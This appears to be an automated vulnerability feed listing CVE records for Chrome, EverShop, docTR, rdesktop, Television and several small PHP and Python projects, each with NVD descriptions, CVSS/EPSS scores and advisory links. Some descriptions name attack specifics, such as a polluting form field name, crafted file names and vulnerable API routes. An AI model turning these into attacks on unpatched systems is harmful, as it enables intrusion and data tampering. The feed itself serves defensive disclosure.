Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113320
Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113320).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113320&date=2026-10-25).
Sources:
NVD CVE-2026-113320: https://nvd.nist.gov/vuln/detail/CVE-2026-113320
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113320&date=2026-10-25
Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113317
Memory corruption in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Memory corruption in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113317).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113317&date=2026-10-25).
Sources:
NVD CVE-2026-113317: https://nvd.nist.gov/vuln/detail/CVE-2026-113317
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113317&date=2026-10-25
Memory corruption in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113312
Memory corruption in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113312).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113312&date=2026-10-25).
Sources:
NVD CVE-2026-113312: https://nvd.nist.gov/vuln/detail/CVE-2026-113312
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113312&date=2026-10-25
Memory corruption in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113293
Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113293).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113293&date=2026-10-25).
Sources:
NVD CVE-2026-113293: https://nvd.nist.gov/vuln/detail/CVE-2026-113293
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113293&date=2026-10-25
Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113292
Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113292).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113292&date=2026-10-25).
Sources:
NVD CVE-2026-113292: https://nvd.nist.gov/vuln/detail/CVE-2026-113292
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113292&date=2026-10-25
Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EverShop 1.2.2 before 2.2.1 contains a missing authorization vulnerability in the customer address API that allows unauthenticated attackers to manage other customers' addresses.
https://kevwire.com/record/CVE-2026-115323
EverShop 1.2.2 before 2.2.1 contains a missing authorization vulnerability in the customer address API that allows unauthenticated attackers to manage other customers' addresses. (Oct 22, 2026).
EverShop 1.2.2 before 2.2.1 contains a missing authorization vulnerability in the customer address API that allows unauthenticated attackers to manage other customers' addresses. Attackers who know customer and address UUIDs can send POST, PATCH, or DELETE requests to /api/customers/:customer_id/addresses routes to add, modify, or delete saved shipping addresses.
CVSS 6.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115323).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115323&date=2026-10-25).
Sources:
NVD CVE-2026-115323: https://nvd.nist.gov/vuln/detail/CVE-2026-115323
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115323&date=2026-10-25
EverShop 1.2.2 before 2.2.1 contains a missing authorization vulnerability in the customer address API that allows unauthenticated attackers to manage other customers' addresses. Attackers who know customer and address UUIDs can send POST, PATCH, or DELETE requests to /api/customers/:customer_id/addresses routes to add, modify, or delete saved shipping addresses.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in WProyal Royal Elementor Addons royal-elementor-addons allows Code...
https://kevwire.com/record/CVE-2026-111851
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in WProyal Royal Elementor Addons royal-elementor-addons allows Code... (Oct 22, 2026).
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in WProyal Royal Elementor Addons royal-elementor-addons allows Code Injection.This issue affects Royal Elementor Addons: from n/a through 1.7.1068.
CVSS 7.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111851).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111851&date=2026-10-25).
Sources:
NVD CVE-2026-111851: https://nvd.nist.gov/vuln/detail/CVE-2026-111851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111851&date=2026-10-25
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in WProyal Royal Elementor Addons royal-elementor-addons allows Code Injection.This issue affects Royal Elementor Addons: from n/a through 1.7.1068.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @rvf/set-get before 7.0.4 contains a prototype pollution vulnerability in setPath that allows unauthenticated attackers to overwrite properties of shared built-in functions via...
https://kevwire.com/record/CVE-2026-112309
@rvf/set-get before 7.0.4 contains a prototype pollution vulnerability in setPath that allows unauthenticated attackers to overwrite properties of shared built-in functions via... (Oct 19, 2026).
@rvf/set-get before 7.0.4 contains a prototype pollution vulnerability in setPath that allows unauthenticated attackers to overwrite properties of shared built-in functions via inherited Object.prototype methods. Attackers can submit a form field named hasOwnProperty.call through @rvf/core form parsing to replace the shared function property, causing process-wide denial of service until restart.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112309).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112309&date=2026-10-25).
Sources:
NVD CVE-2026-112309: https://nvd.nist.gov/vuln/detail/CVE-2026-112309
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112309&date=2026-10-25
@rvf/set-get before 7.0.4 contains a prototype pollution vulnerability in setPath that allows unauthenticated attackers to overwrite properties of shared built-in functions via inherited Object.prototype methods. Attackers can submit a form field named hasOwnProperty.call through @rvf/core form parsing to replace the shared function property, causing process-wide denial of service until restart.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### docTR through 1.1.0 contains an unsafe deserialization vulnerability in load_pretrained_params() that loads checkpoints with torch.load without weights_only=True.
https://kevwire.com/record/CVE-2026-112304
docTR through 1.1.0 contains an unsafe deserialization vulnerability in load_pretrained_params() that loads checkpoints with torch.load without weights_only=True. (Oct 19, 2026).
docTR through 1.1.0 contains an unsafe deserialization vulnerability in load_pretrained_params() that loads checkpoints with torch.load without weights_only=True. Attackers who control a local or URL-supplied checkpoint can embed a malicious pickle payload to execute Python code with the loading process's privileges on torch releases before 2.6.
CVSS 7.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112304).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112304&date=2026-10-25).
Sources:
NVD CVE-2026-112304: https://nvd.nist.gov/vuln/detail/CVE-2026-112304
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112304&date=2026-10-25
docTR through 1.1.0 contains an unsafe deserialization vulnerability in load_pretrained_params() that loads checkpoints with torch.load without weights_only=True. Attackers who control a local or URL-supplied checkpoint can embed a malicious pickle payload to execute Python code with the loading process's privileges on torch releases before 2.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### BA-Workflow developed by YS-infoware has a SQL Injection vulnerability.
https://kevwire.com/record/CVE-2026-113406
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. (Oct 20, 2026).
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113406).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113406&date=2026-10-25).
Sources:
NVD CVE-2026-113406: https://nvd.nist.gov/vuln/detail/CVE-2026-113406
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113406&date=2026-10-25
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### BA-Workflow developed by YS-infoware has a SQL Injection vulnerability.
https://kevwire.com/record/CVE-2026-113405
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. (Oct 20, 2026).
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113405).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113405&date=2026-10-25).
Sources:
NVD CVE-2026-113405: https://nvd.nist.gov/vuln/detail/CVE-2026-113405
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113405&date=2026-10-25
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_raw_bmpcache() in orders.c that allows malicious RDP servers to crash clients.
https://kevwire.com/record/CVE-2026-112278
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_raw_bmpcache() in orders.c that allows malicious RDP servers to crash clients. (Oct 19, 2026).
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_raw_bmpcache() in orders.c that allows malicious RDP servers to crash clients. Attackers can send a raw bitmap cache order declaring large width, height, and bpp values with a tiny payload, causing memcpy() to read past the receive buffer and crash the client.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112278).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112278&date=2026-10-25).
Sources:
NVD CVE-2026-112278: https://nvd.nist.gov/vuln/detail/CVE-2026-112278
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112278&date=2026-10-25
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_raw_bmpcache() in orders.c that allows malicious RDP servers to crash clients. Attackers can send a raw bitmap cache order declaring large width, height, and bpp values with a tiny payload, causing memcpy() to read past the receive buffer and crash the client.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Television (tv) 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in...
https://kevwire.com/record/CVE-2026-112263
Television (tv) 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in... (Oct 19, 2026).
Television (tv) 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in format_command. Attackers can plant a file with a crafted name containing an apostrophe so that triggering an action like the default edit action executes commands with victim privileges.
CVSS 8.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112263).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112263&date=2026-10-25).
Sources:
NVD CVE-2026-112263: https://nvd.nist.gov/vuln/detail/CVE-2026-112263
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112263&date=2026-10-25
Television (tv) 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in format_command. Attackers can plant a file with a crafted name containing an apostrophe so that triggering an action like the default edit action executes commands with victim privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected is an unknown function of the file search.php.
https://kevwire.com/record/CVE-2026-112150
A security flaw has been discovered in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected is an unknown function of the file search.php. (Oct 19, 2026).
A security flaw has been discovered in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected is an unknown function of the file search.php. The manipulation of the argument Search results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112150).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112150&date=2026-10-25).
Sources:
NVD CVE-2026-112150: https://nvd.nist.gov/vuln/detail/CVE-2026-112150
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112150&date=2026-10-25
A security flaw has been discovered in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected is an unknown function of the file search.php. The manipulation of the argument Search results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in speaches-ai speaches up to 0.9.0-rc.3. This vulnerability affects the function PyannoteDiarizationModelManager._load_fn of the file...
https://kevwire.com/record/CVE-2026-112145
A security vulnerability has been detected in speaches-ai speaches up to 0.9.0-rc.3. This vulnerability affects the function PyannoteDiarizationModelManager._load_fn of the file... (Oct 19, 2026).
A security vulnerability has been detected in speaches-ai speaches up to 0.9.0-rc.3. This vulnerability affects the function PyannoteDiarizationModelManager._load_fn of the file src/speaches/executors/pyannote_diarization.py of the component Pyannote Diarization Model Loading. The manipulation of the argument model leads to use of externally-controlled input to select classes or code. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The feature was introduced in PR #628 (feat/switch to pyannote audio), merged as commit 870e1e16a73452496e99d49f759eabd692a8e0e0. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112145).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112145&date=2026-10-25).
Sources:
NVD CVE-2026-112145: https://nvd.nist.gov/vuln/detail/CVE-2026-112145
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112145&date=2026-10-25
A security vulnerability has been detected in speaches-ai speaches up to 0.9.0-rc.3. This vulnerability affects the function PyannoteDiarizationModelManager._load_fn of the file src/speaches/executors/pyannote_diarization.py of the component Pyannote Diarization Model Loading. The manipulation of the argument model leads to use of externally-controlled input to select classes or code. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The feature was introduced in PR #628 (feat/switch to pyannote audio), merged as commit 870e1e16a73452496e99d49f759eabd692a8e0e0. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqli_query of the file doedit.php...
https://kevwire.com/record/CVE-2026-112141
A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqli_query of the file doedit.php... (Oct 19, 2026).
A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqli_query of the file doedit.php of the component Registration-Edit Handler. This manipulation of the argument id/name/title/year/gender/fromdate/todate/people causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112141).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112141&date=2026-10-25).
Sources:
NVD CVE-2026-112141: https://nvd.nist.gov/vuln/detail/CVE-2026-112141
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112141&date=2026-10-25
A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqli_query of the file doedit.php of the component Registration-Edit Handler. This manipulation of the argument id/name/title/year/gender/fromdate/todate/people causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in ztxz16 fastllm up to 0.1.8.2. This impacts the function GGUFBuffer::ReadString of the file third_party/gguf/gguf.cpp of the component String...
https://kevwire.com/record/CVE-2026-112108
A vulnerability was determined in ztxz16 fastllm up to 0.1.8.2. This impacts the function GGUFBuffer::ReadString of the file third_party/gguf/gguf.cpp of the component String... (Oct 19, 2026).
A vulnerability was determined in ztxz16 fastllm up to 0.1.8.2. This impacts the function GGUFBuffer::ReadString of the file third_party/gguf/gguf.cpp of the component String Parsing. This manipulation of the argument len causes buffer overflow. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112108).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112108&date=2026-10-25).
Sources:
NVD CVE-2026-112108: https://nvd.nist.gov/vuln/detail/CVE-2026-112108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112108&date=2026-10-25
A vulnerability was determined in ztxz16 fastllm up to 0.1.8.2. This impacts the function GGUFBuffer::ReadString of the file third_party/gguf/gguf.cpp of the component String Parsing. This manipulation of the argument len causes buffer overflow. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in eremef bandcamp-player up to 1.8.33-beta. The impacted element is an unknown function of the file database.ts of the component Remote Control Server.
https://kevwire.com/record/CVE-2026-112104
A flaw has been found in eremef bandcamp-player up to 1.8.33-beta. The impacted element is an unknown function of the file database.ts of the component Remote Control Server. (Oct 19, 2026).
A flaw has been found in eremef bandcamp-player up to 1.8.33-beta. The impacted element is an unknown function of the file database.ts of the component Remote Control Server. Executing a manipulation of the argument remoteEnabled can lead to missing authentication. The attack may be launched remotely. Upgrading to version 1.8.34-beta is sufficient to resolve this issue. This patch is called ccba99b66bc61acf46e4a332034799d7452ddea6. Upgrading the affected component is advised.
CVSS 6.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112104).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112104&date=2026-10-25).
Sources:
NVD CVE-2026-112104: https://nvd.nist.gov/vuln/detail/CVE-2026-112104
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112104&date=2026-10-25
